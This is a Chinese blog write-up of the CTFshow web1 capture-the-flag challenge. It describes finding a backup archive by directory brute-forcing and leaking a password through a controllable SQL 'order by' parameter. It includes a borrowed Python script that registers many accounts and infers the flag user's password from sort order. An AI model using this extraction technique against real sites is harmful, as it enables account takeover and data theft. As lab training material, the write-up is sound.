ctfshow_web_1(困難題)

endermanneer發表於2024-05-08

CTFshow web1(困難題)

image-20240508193227858

根據前面做題經驗,看見登入框基本都是跑一下爆破,弱口令等等

這裡用 dirmap 目錄爆破爆出來有一個 www.zip

image-20240508193311291

把他下載下來

image-20240508193646942

看了 login.php 和 reg.php

兩個檔案的原始碼都對sql注入常見的字元做了嚴格的過濾,sql注入此路不通

看了下 main.php 看起來是一個顯示使用者資訊的頁面。

我們回到登入介面,註冊一個賬號並登入檢視一下是什麼樣的效果

image-20240508200115551

出來了一個使用者資訊表,裡面是已註冊的使用者資訊

第一行有個提示 flag_is_my_password

看來是要獲取這個使用者的密碼

(才發現題目有提示)

image-20240508201409199

回到 main.php 原始碼

image-20240508201457797

關鍵就是這兩句,我們可以控制 order by 的引數

我本人到這裡就沒思路了。看網上別人的 writeup 發現可以利用 ”order by 密碼“ 這種方法來猜解密碼

手工來操作比較複雜,所以還是得寫指令碼

這裡找到一位大佬寫的指令碼:
https://blog.csdn.net/miuzzx/article/details/104514442

#author 羽
import requests
url="https://fa8f49b7-5fc6-4dcb-97a1-b0e842429a9b.chall.ctf.show"
url1=url+"/reg.php" #註冊頁面
url2=url+"/login.php"#登入介面
url3=url+"/user_main.php?order=pwd" #查詢介面
k=""
s="-.0123456789:abcdefghijklmnopqrstuvwxyz{|}~"
for j in range(0,45):
    print("*")
    for i in s:
        #print(i)
        l=""
        l=k+i
        l2 = k+chr(ord(i)-1)
        data={'username':l,
                    'email':'c',
                    'nickname':'c',
                    'password':l
        }
        data2={'username':l,
                      'password':l
        }
        if (l=='flag'):
            k='flag'
            print(k)
            break
        session = requests.session()
        r1 = session.post(url1,data)
        r2 = session.post(url2,data)
        r3 = session.get(url3)
        t = r3.text
        #print(l)
        if (t.index("<td>"+l+"</td>")>t.index("<td>flag@ctf.show</td>")):
            k=l2
            print(k)
            break

我對這位大佬指令碼實現原理的解析:

原網頁可以控制 order by 子句的引數,這裡可以設定為按照密碼排序

按照密碼排序時,密碼是按照首字元的 ascii 值的大小來排序的。

指令碼作者透過爆破字元的方式,註冊新賬號,併為這些新賬號設定1位、2位… 45位的密碼,透過檢視這些新建立的賬號排位是在 flag 賬號的上方還是下方來推測 flag 賬號的密碼。

當設定的密碼某一位 ascii 值比 flag 賬號的密碼對應位的 ascii 值小,就會排在 flag 賬號的上面;如果和對應位相等,還是排在上面(因為密碼的總長度);只有比對應位的 ascii 值大,這個賬號才會排在 flag 賬號的下面。

光說明有點抽象,直接看圖:

image-20240508210539747

這位大佬的指令碼透過一個很巧妙的方式來判斷這些記錄是在 flag 的上方還是下方(用 t.find也行,同樣是返回該標籤的首字元位置)

if (t.index("<td>"+l+"</td>")>t.index("<td>flag@ctf.show</td>")):

就是透過 指定字串 index 的值

值更大,就是在下方

網上很多人的疑問:

為什麼這個指令碼跑出來的 flag 最後會是 ‘|’ 符號?

這是因為這位大佬的指令碼里爆破字元的列表 ‘s’ 裡面帶有了 ‘|’ 符號

分別檢視 ‘{‘ ‘}’ ‘|‘ 這三個字元的 ascii 碼,會發現一個很有趣的現象

{:123

|:124

}:125

沒錯,兩個花括號的 ascii 碼不是連著的。

image-20240508211342947

原理就研究到這裡,我們接下來跑一下這個程式碼

image-20240508211535898

flag 到手

相關文章